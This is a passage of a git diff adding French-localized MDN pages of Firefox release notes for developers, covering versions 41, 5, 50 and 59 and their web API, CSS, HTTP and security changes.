  • {{domxref("HTMLCanvasElement.captureStream()")}} and {{domxref("CanvasCaptureMediaStream")}} have been added and allow to stream the display of a {{HTMLElement("canvas")}} in real-time ({{bug(1032848)}}).
    • +
  • {{domxref("MediaStream.id")}} now returns the unique id of a stream ({{bug(1089798)}}).
    • +
  • The initial value of {{domxref("CanvasRenderingContext2D.filter")}} is now correctly set to none ({{bug(1163124)}}).
    • +
+ +

Service Workers

+ +
    +
  • Improvement to our experimental Service Worker implementation: + +
      +
    • {{domxref("ServiceWorkerGlobalScope.skipWaiting()")}} has been implemented ({{bug(1131352)}}).
      • +
    • {{domxref("Clients.claim()")}} has been added ({{bug(1130684)}}).
      • +
    • The other functional events of Service Workers have been made to inherit from {{domxref("ExtendableEvent")}}, giving them access to the {{domxref("ExtendableEvent.waitUntil","waitUntil()")}} method ({{bug("1160527")}}).
      • +
    +
    • +
  • The {{domxref("CacheStorage")}} and {{domxref("Cache")}} interfaces are now supported ({{bug("1110144")}}).
    • +
+ +

Miscellaneous

+ +
    +
  • On OS X and Windows, {{domxref("NavigatorOnLine.onLine", "Navigator.onLine")}} now changes regarding network connectivity (it always returned true, , unless "Work offline" mode was selected) before ({{bug(654579)}}).
    • +
  • {{domxref("MessagePort")}} and {{domxref("MessageChannel")}} now available in Web workers, and are enabled by default in all contexts ({{bug(952139)}}) and ({{bug(911972)}}).
    • +
  • The User Timing API is now available in Web workers ({{bug(1155761)}}).
    • +
  • The Notifications API is now available in Web workers ({{bug(916893)}}).
    • +
  • {{domxref("DOMRequest")}} and {{domxref("DOMCursor")}} are now available in Web workers ({{bug(1167650)}}).
    • +
  • The CSS Font Loading API is now enabled by default ({{bug(1149381)}}).
    • +
  • Shared workers can no longer be shared between private (i.e. browsing in a private window) and non-private documents (see {{bug(1177621)}}).
    • +
  • The {{domxref("URLUtilsSearchParams.searchParams")}} property is now read-only ({{bug(1174731)}}).
    • +
  • +

    The {{domxref('URLUtils.hash')}} property no longer decodes URL fragment ({{bug(1093611)}}).

    +
    • +
+ +

MathML

+ +

New default and fallback font handling

+ +

Mathematical formulas require special fonts. So far, these fonts were hard-coded in the mathml.css user agent stylesheet (which sets the font-family on {{MathMLElement("math")}} tag) and in the preference option font.mathfont-family (which sets the fallback fonts to use for stretchy and large operators). Firefox 41 introduces, an internal x-math language that is automatically set on the <math> tag as well as corresponding preference options (e.g. font.name.serif.x-math). The user agent stylesheet now sets font-family to serif on the <math> tag and the preference option font.mathfont-family is replaced with font.name.serif.x-math.  All platforms now essentially use the same list of fallback fonts, with "Latin Modern Math" as first one. The default/fallback fonts can be configured from the standard per-language font preference menu. For more details, see {{bug(947654)}} and {{bug(1160456)}}.

+ +

SVG

+ +
    +
  • Site icons (favicons, shortcut icons) now support SVG ({{bug(366324)}}).
    • +
+ +

Audio/Video

+ +
    +
  • The media.autoplay.enabled preference now also apply to untrusted {{domxref("HTMLMediaElement.play()")}} invocations too, that is calls from non-users activated scripts ({{bug(659285)}}).
    • +
+ +

HTTP

+ +
    +
  • The X-Content-Duration header is no longer supported ({{Bug(1160695)}}).
    • +
+ +

Networking

+ +

pas de changement.

+ +

Security

+ +
    +
  • The CSP 1.1 manifest-src directive is now supported ({{bug(1089255)}}).
    • +
+ +

Changes for add-on and Mozilla developers

+ +

XUL

+ +

pas de changement.

+ +

JavaScript code modules

+ +

pas de changement.

+ +

XPCOM

+ +

Interfaces

+ +

pas de changement.

+ +

Other

+ +

pas de changement.

+ +

See also

+ + + +

Older versions

+ +

{{Firefox_for_developers('40')}}

diff --git a/files/fr/mozilla/firefox/releases/41/site_compatibility/index.html b/files/fr/mozilla/firefox/releases/41/site_compatibility/index.html new file mode 100644 index 0000000000..2c89135474 --- /dev/null +++ b/files/fr/mozilla/firefox/releases/41/site_compatibility/index.html @@ -0,0 +1,13 @@ +--- +title: Compatibilité des sites avec Firefox 41 +slug: Mozilla/Firefox/Versions/41/Site_Compatibility +tags: + - Compatibilité + - Développement Web + - Firefox + - Firefox 41 + - FxSiteCompat + - Guide +translation_of: Mozilla/Firefox/Releases/41/Site_Compatibility +--- +
{{FirefoxSidebar}}

Cette page a été déplacée vers FxSiteCompat.com.

diff --git a/files/fr/mozilla/firefox/releases/5/index.html b/files/fr/mozilla/firefox/releases/5/index.html new file mode 100644 index 0000000000..18020bc53e --- /dev/null +++ b/files/fr/mozilla/firefox/releases/5/index.html @@ -0,0 +1,168 @@ +--- +title: Firefox 5 pour les développeurs +slug: Mozilla/Firefox/Versions/5 +tags: + - Firefox + - Firefox 5 +translation_of: Mozilla/Firefox/Releases/5 +--- +
{{FirefoxSidebar}}
+ +

Firefox 5, basé sur Gecko 5.0, est sorti le 21 juin 2011. Cet article fournit des informations à propos des changements qui affectent les développeurs dans cette version.

+ +

Changements pour les développeurs Web

+ +

HTML

+ +
    +
  • Tous les éléments HTML ont maintenant l'attribut {{domxref("element.accessKey", "accessKey")}}, ainsi que les méthodes {{domxref("element.blur()", "blur()")}}, {{domxref("element.click()", "click()")}} et {{domxref("element.focus()", "focus()")}}. Elles sont spécifiées dans l'interface {{domxref("HTMLElement")}}.
    • +
  • Afin d'être conforme à la spécification HTML5, le support des jeux de caractères UTF-7 et UTF-32 a été retiré.
    • +
  • Lorsque l'on est en mode quirks, les {{HTMLElement("map")}} vides ne sont plus ignorées en faveur des non-vides quand elles correspondent. Pour plus de détails, voir les notes de Gecko sur l'élément {{HTMLElement("map")}}.
    • +
  • Firefox mobile pour Android supporte désormais les polices WOFF pour {{cssxref("@font-face")}}.
    • +
  • WebGL ne charge plus les textures provenant d'autres domaines que celui d'origine, par mesure de sécurité. Le support du contrôle d'accès d'HTTP devrait arriver dans le futur pour que le chargement des textures se fasse en toute sécurité.
    • +
+ +

Améliorations de Canvas

+ +
    +
  • L'environnement de dessin 2D {{HTMLElement("canvas")}} supporte désormais la spécification d'un objet ImageData en entrée de la méthode createImageData() ; cela créé un nouvel objet ImageData qui est initialisé avec les mêmes dimensions que l'objet spécifié, mais tous les pixels sont toujours prédéfinis en noir transparent. ceci a été documenté comme déjà mis en oeuvre alors que ça ne l'était pas.
    • +
  • Spécifier des valeurs non finies lors de l'ajout de couleur arrête l'ajout via un appel à addColorStop() de la méthode {{domxref("CanvasGradient")}} en renvoyant désormais INDEX_SIZE_ERR à la place de SYNTAX_ERR.
    • +
  • La méthode {{domxref("HTMLCanvasElement")}} toDataURL() now correctly lower-cases the specified MIME type before matching.
    • +
  • getImageData() accepte maintenant correctement les rectangles qui vont au-delà des limites de la zone, les pixels qui sont en dehors de la zone sont mis en noir transparent.
    • +
  • drawImage() et createImageData() traitent désormais les arguments négatifs conformément à la spécification, en retournant le rectangle autour de l'axe approprié. Nous avons besoin d'un article sur CSS sizing et son fonctionnement.
    • +
  • La spécification de valeurs non-finies lors de l'appel de createImageData() renvoi maintenant l'exception NOT_SUPPORTED_ERR.
    • +
  • createImageData() et getImageData() retournent maintenant correctement une valeur d'un pixel en données d'image si un rectangle plus petit qu'un petit qu'un pixel est spécifié.
    • +
  • La spécification d'un angle négatif lors de l'appel de createRadialGradient() renvoi désormais INDEX_SIZE_ERR.
    • +
  • La spécification d'une image null ou undefined lors de l'appel de createPattern() ou drawImage() renvoi désormais l'exception TYPE_MISMATCH_ERR.
    • +
  • La spécification de valeurs incorrectes pour globalAlpha ne renvoie plus l'exception SYNTAX_ERR, cela est désormais ignoré silencieusement.
    • +
  • La spécification de valeurs incorrectes lors de l'appel de translate(), transform(), rect(), clearRect(), fillRect(), strokeRect(), lineTo(), moveTo(), quadraticCurveTo() ou arc() ne renvoie plus une exception ; ces appels sont désormais ingorés silencieusement.
    • +
  • Le réglage de la valeur de shadowOffsetX, shadowOffsetY ou shadowBlur avec une valeur incorrecte est désormais ignoré silencieusement.
    • +
  • Le réglage de la valeur de rotate ou scale avec une valeur incorrecte est désormais ignoré silencieusement.
    • +
+ +

CSS

+ +
+
Animations CSS
+
Le support pour les animations CSS a été ajouté, pour l'instant il faut utilisé le préfixe -moz-.
+
+ +

DOM

+ +
    +
  • L'objet {{domxref("selection")}} de la méthode modify() a été modifiée afin que la sélection de la granularité "mot" ne contienne plus les espaces à la fin, ce qui est plus cohérent et correspond au comportement de WebKit.
    • +
  • La méthode {{domxref("window.setTimeout()")}} veille maintenant à ne plus envoyer de délai d'attente dans les onglets inactifs. En plus, le délai est imbriqué à la valeur minimale autorisée par la spécification HTML5 : 4 ms (au lieu de 10 ms qui sert à fixer).
    • +
  • De même, la méthode {{domxref("window.setInterval()")}} ne serre pas plus d'un intervalle par seconde dans les onglets inactifs.
    • +
  • XMLHttpRequest supporte maintenant l'évènement loadend. C'est envoyé après qu'un transfert soit terminé (c'est-à-dire après l'évènement abort, error ou load). Vous pouvez utiliser cette fonction pour gérer les tâches qui doivent être exécutées indépendamment de la réussite ou l'échec d'un transfert.
    • +
  • {{domxref("Blob")}} et, par extension, les objets de {{domxref("File")}} de la méthode slice() ont été supprimés et remplacés par une nouvelle, avec une syntaxe qui la rend mieux compatible avec les méthodes Array.slice() et String.slice() dans JavaScript. Cette méthode s'appelle pour l'instant mozSlice().
    • +
  • La valeur de {{domxref("window.navigator.language")}} est maintenant déterminée en examinant la valeur de l'en-tête HTTP Accept-Language.
    • +
  • La propriété {{domxref("Node.prefix")}} est maintenant en lecture seule, comme l'exige la spécification DOM.
    • +
  • {{domxref("HTMLVideoElement")}} supporte maintenant des propriétés expérimentales qui permettent d'obtenir des informations sur les statistiques des vidéos comme le nombres d'images par seconde.
    • +
+ +

JavaScript

+ +
    +
  • Les expressions régulières ne sont plus appelable comme si il s'agissait de fonctions, ce changement a été fait de concert avec l'équipe de WebKit afin d'assurer la compatibilité (voir {{WebkitBug(28285)}}. Cette fonctionnalité existait depuis longtemps déjà mais n'a jamais été documentée (du moins, pas sur MDN).
    • +
  • La méthode Function.prototype.isGenerator() est désormais supportée, ce qui vous permet de déterminer si une fonction est génératrice.
    • +
  • Les mots suivants ont été réservés : class, enum, export, extends, import et super. Auparavant, ils étaient uniquement considérés comme réservés en mode strict.
    • +
  • Les documents DOM crées dans le chrome ne peuvent plus être exposés à des scripts en sandbox.
    • +
  • Le parser JSON a été ré-écrit pour améliorer la vitesse et la conformité. Ce qui inclut un correctif pour le {{bug("572279")}}.
    • +
+ +

SVG

+ +
    +
  • L'attribut SVG {{SVGAttr("class")}} peut maintenant être animé.
    • +
  • Les interfaces SVG suivantes sont liées à des interfaces DOM représentant les listes d'objets qui sont maintenant indexables et peuvent être consultées comme des tableaux ; en outre, ils ont une propriété length indiquant le nombre d'éléments dans les listes : {{domxref("SVGLengthList")}}, {{domxref("SVGNumberList")}}, {{domxref("SVGPathSegList")}} et {{domxref("SVGPointList")}}.
    • +
+ +

HTTP

+ +
    +
  • Firefox n'envoi plus l'en-tête HTTP Keep-Alive, nous n'avons pas pu le formater correctement et il était redondant car on retrouve la valeur "keep-alive" dans l'en-tête {{httpheader("Connection")}} ou {{httpheader("Proxy-Connection")}}.
    • +
  • Le modèle de transaction HTTP a été mis à jour pour être plus intelligent sur la réutilisation des connexions dans le pool de connexions persistantes, au lieu de traiter le pool pool comme une file d'attente {{interwiki("wikipedia", "FIFO")}}, Necko tente maintenant de trier le pool avec des connexions avec la fenêtre qui a le plus de {{interwiki("wikipedia", "congestion window")}} (CWND) en premier. Cela peut réduire le temps d'aller-retour (RTT) des transactions HTTP en évitant la nécessité de développer des connexions fenêtres dans de nombreux cas.
    • +
  • Firefox gère désormais l'en-tête de réponse HTTP Content-Disposition plus efficacement si les deux paramètres filename et filename* sont fournis, il regarde à travers tous les noms fournis, en utilisant le paramètre filename* si il est disponible, même si un paramètre filename est inclus en premier. Auparavant, le premier paramètre correspondant était utilisé, ce qui empêchait l'utilisation d'un nom plus approprié. Voir {{bug(588781)}}.
    • +
+ +

MathML

+ + + +

Outils pour les développeurs

+ +
    +
  • L'objet Console de la Console Web a maintenant une méthode debug(), qui est un alias pour la méthode log(), cela améliore la compatibilité avec certains sites.
    • +
+ +

Changements pour les développeurs de Mozilla et de modules complémentaires

+ +

Pour des conseils utiles sur la mise à jour des extensions pour Firefox 5, voir Updating add-ons for Firefox 5.

+ +
Note : Firefox 5 requiert que les composants binaires soient recompilés, comme pour toutes les versions majeures de Firefox. Pour plus de détails, voir Interfaces Binaires.
+ +

Changements dans les modules de code JavaScript

+ +

Nouveau module de code JavaScript

+ +
    +
  • Le module de code Dict.jsm a été ajouté, il fournit une API pour les dictionnaires de paires clé/valeur.
    • +
+ +

NetUtil.jsm

+ +
    +
  • La méthode asyncFetch() supporte désormais la spécification de la source en tant que {{interface("nsIInputStream")}}.
    • +
+ +

Changements dans les interfaces

+ +
    +
  • L'interface {{interface("nsIHttpChannelInternal")}} a maintenant de nouveaux attributs donnant accès à des informations sur les points finaux des canaux des adresses et des ports. Ces informations sont fournies principalement à des fins de débogage.
    • +
  • Les attribut {{htmlattrxref("width", "canvas")}} et {{htmlattrxref("height", "canvas")}} de l'élément {{HTMLElement("canvas")}} sont désormais inclus dans IDL comme des entiers non signés au lieu d'être signés (voir HTMLCanvasElement).
    • +
  • Les interfaces nsIAppStartup2 et {{interface("nsIAppStartup_MOZILLA_2_0")}} ont été fusionnées avec l'interface {{interface("nsIAppStartup")}}.
    • +
  • L'interface nsIDocShell_MOZILLA_2_0_BRANCH a été fusionnée avec l'interface {{interface("nsIDocShell")}}.
    • +
  • L'interface nsIFocusManager_MOZILLA_2_0_BRANCH a été fusionnée avec l'interface {{interface("nsIFocusManager")}}.
    • +
  • L'interface nsIHTMLEditor_MOZILLA_2_0_BRANCH a été fusionnée avec l'interface {{interface("nsIHTMLEditor")}}.
    • +
+ +

Nouvelle interface

+ +
    +
  • Ajout de nsIDOMAnimationEvent. {{domxref("AnimationEvent")}}
    • +
+ +

Interfaces supprimées

+ +

Les interfaces suivantes ont été supprimées car elles n'étaient plus indispensables :

+ +
    +
  • nsICiter (voir {{bug(633066)}})
    • +
  • nsIDOM3Document (voir {{bug(639849)}})
    • +
  • nsIFIXptrEvaluator
    • +
  • nsISelectElement (voir {{bug(619996)}})
    • +
+ +

Aide au débogage

+ +
    +
  • La nouvelle aide DebugOnly<T> permet de déclarer des variables seulement pour les versions DEBUG.
    • +
+ +

API JavaScript (SpiderMonkey)

+ + + +

Changement dans le système de compilation

+ +
    +
  • Vous pouvez désormais compiler Firefox sans le fichier mozconfig, l'option --enable-application paramètre par défaut à "browser". Après avoir extrait ou téléchargé le code, vous pouvez tout simplement faire configure && make (ou make -f client.mk) pour compiler Firefox.
    • +
+ +

Voir également

+ +

{{Firefox_for_developers('4')}}

diff --git a/files/fr/mozilla/firefox/releases/50/index.html b/files/fr/mozilla/firefox/releases/50/index.html new file mode 100644 index 0000000000..557addb508 --- /dev/null +++ b/files/fr/mozilla/firefox/releases/50/index.html @@ -0,0 +1,198 @@ +--- +title: Firefox 50 for developers +slug: Mozilla/Firefox/Versions/50 +translation_of: Mozilla/Firefox/Releases/50 +--- +
{{FirefoxSidebar}}

Pour tester les dernières fonctionnalités développeur de Firefox,
+ installez Firefox Edition DeveloppeurFirefox 50 a été publié le 15 November 2016. Cet article relate les changements clés utiles non seulement aux développeurs web mais aussi aux développeurs travaillant sur Firefox et Gecko, ainsi que pour les développeurs d'extensions.

+ +

Changes pour les développeurs Web

+ +
    +
+ +

HTML

+ +
    +
  • Le style par defaut style de {{HTMLElement("bdo")}} assigne à présent {{cssxref("unicode-bidi")}} avec la valeur isolate-override ({{bug(1249497)}}).
    • +
  • Assigner l'attribut {{htmlattrxref("src", "track")}} de l'élément {{HTMLElement("track")}} fonctionne à présent correctement ({{bug(1281418)}}).
    • +
  • The referrerpolicy attribute on {{HTMLElement("area")}}, {{HTMLElement("a")}}, {{HTMLElement("img")}}, {{HTMLElement("iframe")}} and {{HTMLElement("link")}} elements is now available by default ({{bug(1223838)}}, {{bug(1264165)}}).
    • +
+ +

CSS

+ +
    +
  • Border-radiused corners with dashed and dotted styles are now rendered with the specified style instead of a solid style ({{bug(382721)}}).
    • +
  • The non-standard {{cssxref(":-moz-full-screen-ancestor")}} pseudo-class selector has been removed ({{bug(1199529)}}).
    • +
  • The {{cssxref("box-sizing")}}: padding-box has been removed, since it’s no longer a part of the spec and Firefox was the only major browser implementing it ({{bug(1166728)}}).
    • +
  • The three values isolate, isolate-override, and plaintext of the {{cssxref("unicode-bidi")}} property have been unprefixed ({{bug(1141895)}}).
    • +
  • In quirks mode, the bullet of a list item now inherits the size of the list, like in standards mode ({{bug(648331)}}).
    • +
  • The {{cssxref(":in-range")}} and {{cssxref(":out-of-range")}} pseudo-classes have changed behavior to not match disabled or read-only inputs ({{bug(1264157)}}).
    • +
  • The {{cssxref(":any-link")}} pseudo-class is now unprefixed ({{bug(843579)}}).
    • +
  • The space value for {{cssxref("border-image-repeat")}} has been implemented ({{bug(720531)}}).
    • +
+ +

JavaScript

+ +
    +
  • The ES2015 {{jsxref("Symbol.hasInstance")}} property has been implemented ({{bug(1054906)}}).
    • +
  • The ES2017 {{jsxref("Object.getOwnPropertyDescriptors()")}} method has been implemented ({{bug(1245024)}}).
    • +
  • The behavior of \W in {{jsxref("RegExp")}} with unicode and ignoreCase flags is changed to match recent draft spec. Now it doesn't match to K, S, k, s, and KELVIN SIGN (U+212A), and LATIN SMALL LETTER LONG S (U+017F) ({{bug(1281739)}}).
    • +
+ +

Developer Tools

+ + + +

All devtools bugs fixed between Firefox 49 and Firefox 50.

+ +

HTTP

+ +
    +
  • The experimental (and deprecated) SPDY 3.1 is now disabled by default {{bug(1287132)}}.
    • +
  • Support for {{HTTPHeader("X-Content-Type-Options")}} has been added ({{bug(471020)}}).
    • +
  • The cookie prefixes __Host- and __Secure- have been implemented. See {{HTTPHeader("Set-Cookie")}} and {{bug(1283368)}}.
    • +
  • The {{HTTPHeader("Referrer-Policy")}} header has been implemented {{bug(1264164)}}.
    • +
+ +

Security

+ +
    +
  • The {{htmlattrxref("ping", "a")}} attribute of {{htmlelement("a")}} element now abides by the connect-src CSP 1.1 policy directive ({{bug(1100181)}}).
    • +
  • Support for the sandbox CSP directive has been added ({{bug(671389)}}).
    • +
  • It's now possible to set a content security policy for workers ({{bug (959388)}}).
    • +
  • The {{domxref("Navigator.sendBeacon()")}} method no longer throws an exception if the beacon data couldn't be sent due to a Content Security Policy restriction; instead, it returns false as expected ({{bug(1234813)}}).
    • +
+ +

Networking

+ +
    +
  • When a error has happened during an asynchronous {{domxref("XMLHttpRequest")}}, the {{domxref("XMLHttpRequest.getAllResponseHeaders()")}} method now returns an empty string ({{bug(1286744)}}).
    • +
  • Instead of returning a NetworkError, asynchronous {{domxref("XMLHttpRequest")}} that fails for CORS or other network constraints now raises an {{event("error")}} that can be catched like any other error ({{bug(709991)}}).
    • +
  • {{domxref("XMLHttpRequest.getResponseHeader()")}} and {{domxref("XMLHttpRequest.getAllResponseHeaders()")}} now also return empty headers by default. This can be controlled via the preference network.http.keep_empty_response_headers_as_empty_string ({{bug(918721)}}).
    • +
  • The only-if-cached option has been added to Request.cache ({{bug(1272436)}}).
    • +
+ +

DOM

+ +
    +
  • The once option for {{domxref("EventTarget.addEventListener()")}} is now supported ({{bug(1287706)}}).
    • +
  • The interface {{domxref("NodeList")}} are now iterable and the methods {{domxref("NodeList.forEach()", "forEach()")}}, {{domxref("NodeList.values()", "values()")}}, {{domxref("NodeList.entries()")}} and {{domxref("NodeList.keys()")}} are now available ({{bug(1290636)}}).
    • +
  • The interface {{domxref("DOMTokenList")}} are now iterable and the methods {{domxref("DOMTokenList.forEach()", "forEach()")}}, {{domxref("DOMTokenList.values()", "values()")}}, {{domxref("DOMTokenList.entries()")}} and {{domxref("DOMTokenList.keys()")}} are now available ({{bug(1290636)}}).
    • +
  • The methods {{domxref("Document.createElement()")}} and {{domxref("Document.createElementNS()")}} now have an optional options parameter for creating custom elements ({{bug(1276579)}}).
    • +
+ +

SVG

+ +
    +
  • The allowReorder attribute has been dropped and the behavior it was setting is now the default for SVG {{SVGElement("switch")}} elements ({{bug(1279690)}}).
    • +
  • The defer keyword for the {{SVGAttr("preserveAspectRatio")}} attribute on SVG {{SVGElement("image")}} elements has been removed to follow the latest SVG2 specification ({{bug(1280425)}}).
    • +
+ +

Drag and Drop API

+ +
    +
  • The {{domxref("DataTransfer.items")}} property has been implemented, allowing access to multiple items being dragged and dropped using the HTML Drag and Drop API. To allow this, the {{domxref("DataTransferItem")}} and {{domxref("DataTransferItemList")}} interfaces are now supported as well ({{bug(906420)}}). This is enabled by default.
    • +
  • The old, obsolete Firefox specific drag and drop API events dragdrop and draggesture are no longer supported. Be sure to update any code still using them to use the HTML drag and drop API ({{bug(1162050)}}.
    • +
+ +

Pointer Lock API

+ +
    +
  • The Pointer Lock API is now unprefixed ({{bug(991899)}}).
    • +
  • Before Firefox 50, requestPointerLock() asked for permission using a doorhanger, and pointer lock would not be enabled until the user granted permission. From Firefox 50, pointer lock is like the fullscreen API: it's granted immediately, but a notification is displayed explaining to the user how to exit ({{bug(1273351)}}).
    • +
+ +

IndexedDB

+ +
    +
  • A {{event("close")}} event is now sent to the {{domxref("IDBDatabase")}} object when the corresponding database is unexpectedly closed ({{bug(1151017)}}).
    • +
+ +

Service Workers

+ +
    +
  • The {{domxref("WindowClient.navigate()")}} method has been implemented. This method lets you open a specified URL into a client window which is being controlled by the service worker ({{bug(1218148)}}).
    • +
+ +

WebGL

+ +
    +
  • The {{domxref("EXT_shader_texture_lod")}} WebGL extension has been implemented ({{bug(1111689)}}).
    • +
  • The texImage methods have been updated for WebGL 2 to implement PBOs (PIXEL_UNPACK_BUFFER) ({{bug(1280499)}}).
    • +
+ +

WebRTC

+ +
    +
  • Adding a track to a {{domxref("MediaStream")}} now generates the {{event("addtrack")}} event as described in the specification. The event is of type {{domxref("MediaStreamTrackEvent")}} and is fired on the stream to which the track was added. You can use either {{domxref("EventTarget.addEventListener", "MediaStream.addEventListener('addtrack', ...)")}} or the {{domxref("MediaStream.onaddtrack")}} property to handle "addtrack" events.
    • +
  • The {{domxref("MediaStreamTrack")}} interface now supports the {{event("ended")}} event and the {{domxref("MediaStreamTrack.onended")}} event handler.
    • +
  • Firefox now supports the {{domxref("MediaStreamTrack.readyState")}} property, which indicates whether the track is live or permanently ended.
    • +
  • The {{domxref("MediaStreamTrack")}} methods {{domxref("MediaStreamTrack.getConstraints", "getConstraints()")}} and {{domxref("MediaStreamTrack.getSettings", "getSettings()")}} have been implemented; these let you get the most recently applied set of customized property constraints and the actual values of all of the track's constrainable properties, respectively. The accompanying data types have been documented as well.
    • +
  • The {{domxref("RTCDataChannel.stream")}} property has been removed. This was replaced with {{domxref("RTCDataChannel.id")}} in Firefox 24, but was supported for backward compatibility. Please be sure to update your code to use the id property if you haven't done so yet.
    • +
+ +

Web Audio API

+ +
    +
  • The {{domxref("PannerNode")}} interface now supports the 3D Cartesian space properties for the position ({{domxref("PannerNode.positionX")}}, {{domxref("PannerNode.positionY")}}, and {{domxref("PannerNode.positionZ")}}) and directionality ({{domxref("PannerNode.orientationX")}}, {{domxref("PannerNode.orientationY")}}, {{domxref("PannerNode.orientationZ")}}) of an audio source.
    • +
  • The interface {{domxref("IIRFilterNode")}}, which implements a general {{interwiki("wikipedia", "infinite impulse response")}} (IIR) filter, has been implemented.
    • +
  • Throttling in background tabs of timers created by {{domxref("WindowTimers.setInterval", "Window.setInterval()")}} and {{domxref("WindowTimers.setTimeout", "Window.setTimeout()")}} no longer occurs if a Web Audio API {{domxref("AudioContext")}} is actively playing sound. This should help prevent issues with timing-sensitive audio playback (such as music players generating individual notes using timers) in the background ({{bug(1181073)}}).
    • +
+ +

Audio/Video

+ +
    +
  • The AlignSetting enum (representing possible values for {{domxref("VTTCue.align")}}) incorrectly previously included the value "middle" instead of "center". This has been corrected ({{bug(1276130)}}).
    • +
  • The non-standard and experimental method {{domxref("HTMLMediaElement.seekToNextFrame()")}} now seeks to the next frame in the media asynchronously, rather than synchronously, and returns a {{jsxref("Promise")}} which resolves once the seek is complete.
    • +
  • The implementation of {{domxref("HTMLTrackElement")}} has been corrected to allow {{HTMLElement("track")}} elements to load resources even if not in a document ({{bug(871747)}}).
    • +
+ +

Battery API

+ +
    +
  • The {{domxref("navigator.battery")}} property, which has been deprecated since Firefox 43, is now obsolete and has been removed. Use the {{domxref("navigator.getBattery()")}} method instead to get a battery {{jsxref("Promise")}}, which will resolve when the {{domxref("BatteryManager")}} is available for use; the {{domxref("BatteryManager")}} is passed into the fulfillment handler for the promise ({{bug(12593355)}}).
    • +
+ +

Files and directories

+ +
    +
  • A subset of the File and Directory Entries API has been implemented, to improve compatibility with sites that were previously only compatible with Google Chrome ({{bug(1265767)}}). + +
      +
    • The asynchronous API interfaces have been implemented, with the caveat that only reading of files is supported; for example, the {{domxref("FileSystemFileEntry.createWriter()")}} method is a no-op.
      • +
    • These interfaces have been implemented: +
        +
      • {{domxref("FileSystem")}}
        • +
      • {{domxref("FileSystemEntry")}} (properties only; the methods have not been implemented)
        • +
      • {{domxref("FileSystemFileEntry")}} (except for {{domxref("FileSystemFileEntry.createWriter", "createWriter()")}})
        • +
      • {{domxref("FileSystemDirectoryEntry")}} (except for {{domxref("FileSystemDirectoryEntry.removeRecursively", "removeRecursively()")}})
        • +
      • {{domxref("FileSystemDirectoryReader")}}
        • +
      +
      • +
    • {{domxref("HTMLInputElement.webkitdirectory")}} as well as the {{HTMLattrxref("webkitdirectory", "input")}} attribute of the {{HTMLElement("input")}} element have been implemented; this lets you configure a file input to accept directories instead of files ({{bug(1258489)}}).
      • +
    • {{domxref("HTMLInputElement.webkitEntries")}} has been implemented; this returns an array of {{domxref("FileSystemEntry")}}-based objects representing the selected items.
      • +
    • {{domxref("File.webkitRelativePath")}} has been implemented; this contains the path of the file relative to the root of the containing {{domxref("FileSystemDirectoryEntry")}} that was among the items in the list returned by {{domxref("HTMLInputElement.webkitGetEntries()")}}.
      • +
    • See File and Directory Entries API support in Firefox for details about what we do and do not support in this API.
      • +
    • These APIs are now enabled by default; some were previously available but only behind a preference ({{bug(1288683)}}).
      • +
    +
    • +
  • We've implemented {{domxref("DataTransferItem.webkitGetAsEntry()")}} as part of the File and Directory Entries API; this lets you obtain a {{domxref("FileSystemEntry")}} representing a dropped file ({{bug(1289255)}}). This is enabled by default.
    • +
  • The HTMLInputElement.directory property, part of the Directory Upload API proposal, has been renamed to allowdirs ({{bug(1288681)}}). This property is hidden behind a preference.
    • +
+ +

See also

+ + + +

Older versions

+ +

{{Firefox_for_developers(49)}}

diff --git a/files/fr/mozilla/firefox/releases/59/index.html b/files/fr/mozilla/firefox/releases/59/index.html new file mode 100644 index 0000000000..715432166e --- /dev/null +++ b/files/fr/mozilla/firefox/releases/59/index.html @@ -0,0 +1,204 @@ +--- +title: Firefox 59 for developers +slug: Mozilla/Firefox/Versions/59 +translation_of: Mozilla/Firefox/Releases/59 +--- +
{{FirefoxSidebar}}

This article provides information about the changes in Firefox 59 that will affect developers. Firefox 59 was released on March 13, 2018.

+ +

Changes for web developers

+ +

Developer tools

+ +
    +
  • The Network Monitor Response tab now shows a preview of the rendered HTML — if the response is HTML ({{bug(1353319)}}).
    • +
  • Cookie information shown in the Storage Inspector (see Cookies) now includes a sameSite column showing what the same-site status of each cookie is ({{bug(1298370)}}).
    • +
  • The Rulers tool now includes a readout showing the current dimensions of the viewport ({{bug(1402633)}}).
    • +
  • In Responsive Design Mode, you can now set the screen dimensions using the cursor keys ({{bug(1421663)}}). See the Setting screen size section for more details.
    • +
  • The Raw headers display in the Network Monitor Headers tab now includes the response's status code ({{bug(1419401)}}).
    • +
+ +

HTML

+ +

The {{HTMLElement("textarea")}} element's {{htmlattrxref("autocomplete", "textarea")}} attribute has been implemented. This lets you enable or disable form auto-fill for the element.

+ +

CSS

+ +
    +
  • The {{cssxref("overscroll-behavior")}} property and its associated longhand properties — {{cssxref("overscroll-behavior-x")}} and {{cssxref("overscroll-behavior-y")}} — have been implemented ({{bug(951793)}}), and it has been enabled by default on all releases ({{bug(1428879)}}).
    • +
  • The behavior of "unusual elements" (elements that aren’t rendered purely by CSS box concepts such as replaced elements) when given a {{cssxref("display")}} value of contents has been updated as per spec ({{bug(1427292)}}). See Appendix B: Effects of display: contents on Unusual Elements for exactly what the specced behaviors are.
    • +
  • {{cssxref("position")}} sticky is now supported on appropriate HTML table parts (e.g. {{htmlelement("th")}} elements) ({{bug(975644)}}).
    • +
  • {{cssxref("calc()")}} is now supported in {{cssxref("<color>")}} values — rgb(), rgba(), hsl(), and hsla() ({{bug(984021)}}).
    • +
  • {{cssxref("calc()")}} in media query values is now supported {{bug(1396057)}}.
    • +
  • The {{cssxref("@document")}} at-rule has been limited to use only in user and UA sheets ({{bug(1035091)}}).
    • +
  • Implement the {{cssxref("font-optical-sizing")}} property ({{bug(1435692)}}).
    • +
+ +

SVG

+ +

No changes.

+ +

JavaScript

+ +

No changes.

+ +

APIs

+ +

New APIs

+ +

{{domxref("PointerEvent","PointerEvents")}} have been enabled in Firefox Desktop ({{bug(1411467)}}).

+ +

DOM

+ +
    +
  • The {{domxref("EventTarget.EventTarget()","EventTarget()")}} constructor has been implemented ({{bug(1379688)}}).
    • +
  • The {{domxref("Response.Response()","Response()")}} constructor can now accept a null value for its body parameter, as per spec ({{bug(1303025)}}).
    • +
+ +

DOM events

+ +

The {{domxref("Event.composedPath()")}} method has been implemented ({{bug(1412775)}}).

+ +

Service workers

+ +
    +
  • The service worker Clients API can now find and communicate with windows in a separate browser process ({{bug(1293277)}}) .
    • +
  • Nested about:blank and about:srcdoc iframes will now inherit their parent's controlling service worker. Fixed in ({{bug(1293277)}}) and ({{bug(1426979)}}).
    • +
